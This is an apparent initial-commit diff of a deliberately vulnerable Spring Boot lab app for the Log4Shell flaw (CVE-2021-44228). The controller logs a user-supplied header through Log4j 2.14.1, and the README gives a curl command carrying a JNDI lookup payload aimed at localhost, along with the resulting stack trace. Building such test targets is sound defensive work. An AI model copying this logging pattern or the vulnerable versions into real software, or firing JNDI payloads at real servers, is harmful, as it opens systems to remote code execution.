commit f08ee855b014316ef4aeedddbcf1b724cadbbea6 Author: Christophe Tafani-Dereeper Date: Fri Dec 10 13:48:21 2021 +0100 Initial commit diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..c0b13a4 --- /dev/null +++ b/.gitignore @@ -0,0 +1,4 @@ +*.class +build/ +.idea +.gradle \ No newline at end of file diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..2603c9a --- /dev/null +++ b/Dockerfile @@ -0,0 +1,11 @@ +FROM gradle:7.3.1-jdk17-alpine AS builder +COPY --chown=gradle:gradle . /home/gradle/src +WORKDIR /home/gradle/src +RUN gradle bootJar --no-daemon + + +FROM openjdk:8u191-jdk-alpine +EXPOSE 8080 +RUN mkdir /app +COPY --from=builder /home/gradle/src/build/libs/*.jar /app/spring-boot-application.jar +CMD ["java", "-jar", "/app/spring-boot-application.jar"] diff --git a/README.md b/README.md new file mode 100644 index 0000000..31e7264 --- /dev/null +++ b/README.md @@ -0,0 +1,49 @@ +# Log4Shell sample vulnerable application (CVE-2021-44228) + +This repository contains a Spring Boot web application vulnerable to CVE-2021-44228, nicknamed [Log4Shell](https://www.lunasec.io/docs/blog/log4j-zero-day/). + +It uses Log4j 2.14.1 (through `spring-boot-starter-log4j2` 2.6.1) and the JDK 8u191. + +## Running the application + +Run it: + +``` +docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app +``` + +Build it yourself (you don't need any Java-related tooling): + +``` +docker build . -t vulnerable-app +docker run -p 8080:8080 vulnerable-app +``` + +## Exploitation + +You can confirm the application is vulnerable by running: + +``` +curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://127.0.0.1/a}' +``` + +You will see the following stack trace in the application logs: + +``` +2021-12-10 12:43:13,416 http-nio-8080-exec-1 WARN Error looking up JNDI resource [ldap://127.0.0.1/a]. javax.naming.CommunicationException: 127.0.0.1:389 [Root exception is java.net.ConnectException: Connection refused (Connection refused)] + at com.sun.jndi.ldap.Connection.(Connection.java:238) + at com.sun.jndi.ldap.LdapClient.(LdapClient.java:137) + at com.sun.jndi.ldap.LdapClient.getInstance(LdapClient.java:1615) + at com.sun.jndi.ldap.LdapCtx.connect(LdapCtx.java:2749) + at com.sun.jndi.ldap.LdapCtx.(LdapCtx.java:319) + at com.sun.jndi.url.ldap.ldapURLContextFactory.getUsingURLIgnoreRootDN(ldapURLContextFactory.java:60) + at com.sun.jndi.url.ldap.ldapURLContext.getRootURLContext(ldapURLContext.java:61) + at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:202) + at com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94) + at javax.naming.InitialContext.lookup(InitialContext.java:417) + at org.apache.logging.log4j.core.net.JndiManager.lookup(JndiManager.java:172) +``` + +## Reference + +https://www.lunasec.io/docs/blog/log4j-zero-day/ \ No newline at end of file diff --git a/build.gradle b/build.gradle new file mode 100644 index 0000000..3d64a13 --- /dev/null +++ b/build.gradle @@ -0,0 +1,25 @@ +plugins { + id 'org.springframework.boot' version '2.6.1' + id 'io.spring.dependency-management' version '1.0.11.RELEASE' + id 'java' +} + +group = 'com.datadoghq.log4jexample' +version = '0.0.1-SNAPSHOT' +sourceCompatibility = '1.8' + +repositories { + mavenCentral() +} + +dependencies { + implementation('org.springframework.boot:spring-boot-starter-web') { + exclude group: 'org.springframework.boot', module: 'spring-boot-starter-logging' + } + implementation 'org.springframework.boot:spring-boot-starter-log4j2:2.6.1' + testImplementation 'org.springframework.boot:spring-boot-starter-test' +} + +test { + useJUnitPlatform() +} diff --git a/gradle/wrapper/gradle-wrapper.jar b/gradle/wrapper/gradle-wrapper.jar new file mode 100644 index 0000000..7454180 Binary files /dev/null and b/gradle/wrapper/gradle-wrapper.jar differ diff --git a/gradle/wrapper/gradle-wrapper.properties b/gradle/wrapper/gradle-wrapper.properties new file mode 100644 index 0000000..84d1f85 --- /dev/null +++ b/gradle/wrapper/gradle-wrapper.properties @@ -0,0 +1,5 @@ +distributionBase=GRADLE_USER_HOME +distributionPath=wrapper/dists +distributionUrl=https\://services.gradle.org/distributions/gradle-7.3.1-bin.zip +zipStoreBase=GRADLE_USER_HOME +zipStorePath=wrapper/dists diff --git a/gradlew b/gradlew new file mode 100755 index 0000000..1b6c787 --- /dev/null +++ b/gradlew @@ -0,0 +1,234 @@ +#!/bin/sh + +# +# Copyright © 2015-2021 the original authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +############################################################################## +# +# Gradle start up script for POSIX generated by Gradle. +# +# Important for running: +# +# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is +# noncompliant, but you have some other compliant shell such as ksh or +# bash, then to run this script, type that shell name before the whole +# command line, like: +# +# ksh Gradle +# +# Busybox and similar reduced shells will NOT work, because this script +# requires all of these POSIX shell features: +# * functions; +# * expansions «$var», «${var}», «${var:-default}», «${var+SET}», +# «${var#prefix}», «${var%suffix}», and «$( cmd )»; +# * compound commands having a testable exit status, especially «case»; +# * various built-in commands including «command», «set», and «ulimit». +# +# Important for patching: +# +# (2) This script targets any POSIX shell, so it avoids extensions provided +# by Bash, Ksh, etc; in particular arrays are avoided. +# +# The "traditional" practice of packing multiple parameters into a +# space-separated string is a well documented source of bugs and security +# problems, so this is (mostly) avoided, by progressively accumulating +# options in "$@", and eventually passing that to Java. +# +# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS, +# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly; +# see the in-line comments for details. +# +# There are tweaks for specific operating systems such as AIX, CygWin, +# Darwin, MinGW, and NonStop. +# +# (3) This script is generated from the Groovy template +# https://github.com/gradle/gradle/blob/master/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# within the Gradle project. +# +# You can find Gradle at https://github.com/gradle/gradle/. +# +############################################################################## + +# Attempt to set APP_HOME + +# Resolve links: $0 may be a link +app_path=$0 + +# Need this for daisy-chained symlinks. +while + APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path + [ -h "$app_path" ] +do + ls=$( ls -ld "$app_path" ) + link=${ls#*' -> '} + case $link in #( + /*) app_path=$link ;; #( + *) app_path=$APP_HOME$link ;; + esac +done + +APP_HOME=$( cd "${APP_HOME:-./}" && pwd -P ) || exit + +APP_NAME="Gradle" +APP_BASE_NAME=${0##*/} + +# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' + +# Use the maximum available, or set MAX_FD != -1 to use that value. +MAX_FD=maximum + +warn () { + echo "$*" +} >&2 + +die () { + echo + echo "$*" + echo + exit 1 +} >&2 + +# OS specific support (must be 'true' or 'false'). +cygwin=false +msys=false +darwin=false +nonstop=false +case "$( uname )" in #( + CYGWIN* ) cygwin=true ;; #( + Darwin* ) darwin=true ;; #( + MSYS* | MINGW* ) msys=true ;; #( + NONSTOP* ) nonstop=true ;; +esac + +CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar + + +# Determine the Java command to use to start the JVM. +if [ -n "$JAVA_HOME" ] ; then + if [ -x "$JAVA_HOME/jre/sh/java" ] ; then + # IBM's JDK on AIX uses strange locations for the executables + JAVACMD=$JAVA_HOME/jre/sh/java + else + JAVACMD=$JAVA_HOME/bin/java + fi + if [ ! -x "$JAVACMD" ] ; then + die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +else + JAVACMD=java + which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." +fi + +# Increase the maximum file descriptors if we can. +if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then + case $MAX_FD in #( + max*) + MAX_FD=$( ulimit -H -n ) || + warn "Could not query maximum file descriptor limit" + esac + case $MAX_FD in #( + '' | soft) :;; #( + *) + ulimit -n "$MAX_FD" || + warn "Could not set maximum file descriptor limit to $MAX_FD" + esac +fi + +# Collect all arguments for the java command, stacking in reverse order: +# * args from the command line +# * the main class name +# * -classpath +# * -D...appname settings +# * --module-path (only if needed) +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables. + +# For Cygwin or MSYS, switch paths to Windows format before running java +if "$cygwin" || "$msys" ; then + APP_HOME=$( cygpath --path --mixed "$APP_HOME" ) + CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" ) + + JAVACMD=$( cygpath --unix "$JAVACMD" ) + + # Now convert the arguments - kludge to limit ourselves to /bin/sh + for arg do + if + case $arg in #( + -*) false ;; # don't mess with options #( + /?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath + [ -e "$t" ] ;; #( + *) false ;; + esac + then + arg=$( cygpath --path --ignore --mixed "$arg" ) + fi + # Roll the args list around exactly as many times as the number of + # args, so each arg winds up back in the position where it started, but + # possibly modified. + # + # NB: a `for` loop captures its iteration list before it begins, so + # changing the positional parameters here affects neither the number of + # iterations, nor the values presented in `arg`. + shift # remove old arg + set -- "$@" "$arg" # push replacement arg + done +fi + +# Collect all arguments for the java command; +# * $DEFAULT_JVM_OPTS, $JAVA_OPTS, and $GRADLE_OPTS can contain fragments of +# shell script including quotes and variable substitutions, so put them in +# double quotes to make sure that they get re-expanded; and +# * put everything else in single quotes, so that it's not re-expanded. + +set -- \ + "-Dorg.gradle.appname=$APP_BASE_NAME" \ + -classpath "$CLASSPATH" \ + org.gradle.wrapper.GradleWrapperMain \ + "$@" + +# Use "xargs" to parse quoted args. +# +# With -n1 it outputs one arg per line, with the quotes and backslashes removed. +# +# In Bash we could simply go: +# +# readarray ARGS < <( xargs -n1 <<<"$var" ) && +# set -- "${ARGS[@]}" "$@" +# +# but POSIX shell has neither arrays nor command substitution, so instead we +# post-process each arg (as a line of input to sed) to backslash-escape any +# character that might be a shell metacharacter, then use eval to reverse +# that process (while maintaining the separation between arguments), and wrap +# the whole thing up as a single "set" statement. +# +# This will of course break if any of these variables contains a newline or +# an unmatched quote. +# + +eval "set -- $( + printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" | + xargs -n1 | + sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' | + tr '\n' ' ' + )" '"$@"' + +exec "$JAVACMD" "$@" diff --git a/gradlew.bat b/gradlew.bat new file mode 100644 index 0000000..ac1b06f --- /dev/null +++ b/gradlew.bat @@ -0,0 +1,89 @@ +@rem +@rem Copyright 2015 the original author or authors. +@rem +@rem Licensed under the Apache License, Version 2.0 (the "License"); +@rem you may not use this file except in compliance with the License. +@rem You may obtain a copy of the License at +@rem +@rem https://www.apache.org/licenses/LICENSE-2.0 +@rem +@rem Unless required by applicable law or agreed to in writing, software +@rem distributed under the License is distributed on an "AS IS" BASIS, +@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +@rem See the License for the specific language governing permissions and +@rem limitations under the License. +@rem + +@if "%DEBUG%" == "" @echo off +@rem ########################################################################## +@rem +@rem Gradle startup script for Windows +@rem +@rem ########################################################################## + +@rem Set local scope for the variables with windows NT shell +if "%OS%"=="Windows_NT" setlocal + +set DIRNAME=%~dp0 +if "%DIRNAME%" == "" set DIRNAME=. +set APP_BASE_NAME=%~n0 +set APP_HOME=%DIRNAME% + +@rem Resolve any "." and ".." in APP_HOME to make it shorter. +for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi + +@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" + +@rem Find java.exe +if defined JAVA_HOME goto findJavaFromJavaHome + +set JAVA_EXE=java.exe +%JAVA_EXE% -version >NUL 2>&1 +if "%ERRORLEVEL%" == "0" goto execute + +echo. +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. +echo. +echo Please set the JAVA_HOME variable in your environment to match the +echo location of your Java installation. + +goto fail + +:findJavaFromJavaHome +set JAVA_HOME=%JAVA_HOME:"=% +set JAVA_EXE=%JAVA_HOME%/bin/java.exe + +if exist "%JAVA_EXE%" goto execute + +echo. +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% +echo. +echo Please set the JAVA_HOME variable in your environment to match the +echo location of your Java installation. + +goto fail + +:execute +@rem Setup the command line + +set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar + + +@rem Execute Gradle +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* + +:end +@rem End local scope for the variables with windows NT shell +if "%ERRORLEVEL%"=="0" goto mainEnd + +:fail +rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of +rem the _cmd.exe /c_ return code! +if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1 +exit /b 1 + +:mainEnd +if "%OS%"=="Windows_NT" endlocal + +:omega diff --git a/settings.gradle b/settings.gradle new file mode 100644 index 0000000..628e2ed --- /dev/null +++ b/settings.gradle @@ -0,0 +1 @@ +rootProject.name = 'vulnerable-app' diff --git a/src/main/java/com/datadoghq/log4jexample/vulnerableapp/MainController.java b/src/main/java/com/datadoghq/log4jexample/vulnerableapp/MainController.java new file mode 100644 index 0000000..d1d7b2c --- /dev/null +++ b/src/main/java/com/datadoghq/log4jexample/vulnerableapp/MainController.java @@ -0,0 +1,22 @@ +package com.datadoghq.log4jexample.vulnerableapp; + + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestHeader; +import org.springframework.web.bind.annotation.RestController; + +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + +@RestController +public class MainController { + + private static final Logger logger = LogManager.getLogger("HelloWorld"); + + @GetMapping("/") + public String index(@RequestHeader("X-Api-Version") String apiVersion) { + logger.info("Received a request for API version " + apiVersion); + return "Hello, world!"; + } + +} \ No newline at end of file diff --git a/src/main/java/com/datadoghq/log4jexample/vulnerableapp/VulnerableAppApplication.java b/src/main/java/com/datadoghq/log4jexample/vulnerableapp/VulnerableAppApplication.java new file mode 100644 index 0000000..707977a --- /dev/null +++ b/src/main/java/com/datadoghq/log4jexample/vulnerableapp/VulnerableAppApplication.java @@ -0,0 +1,13 @@ +package com.datadoghq.log4jexample.vulnerableapp; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; + +@SpringBootApplication +public class VulnerableAppApplication { + + public static void main(String[] args) { + SpringApplication.run(VulnerableAppApplication.class, args); + } + +} diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties new file mode 100644 index 0000000..e69de29 diff --git a/src/test/java/com/datadoghq/log4jexample/vulnerableapp/VulnerableAppApplicationTests.java b/src/test/java/com/datadoghq/log4jexample/vulnerableapp/VulnerableAppApplicationTests.java new file mode 100644 index 0000000..7bdb554 --- /dev/null +++ b/src/test/java/com/datadoghq/log4jexample/vulnerableapp/VulnerableAppApplicationTests.java @@ -0,0 +1,13 @@ +package com.datadoghq.log4jexample.vulnerableapp; + +import org.junit.jupiter.api.Test; +import org.springframework.boot.test.context.SpringBootTest; + +@SpringBootTest +class VulnerableAppApplicationTests { + + @Test + void contextLoads() { + } + +}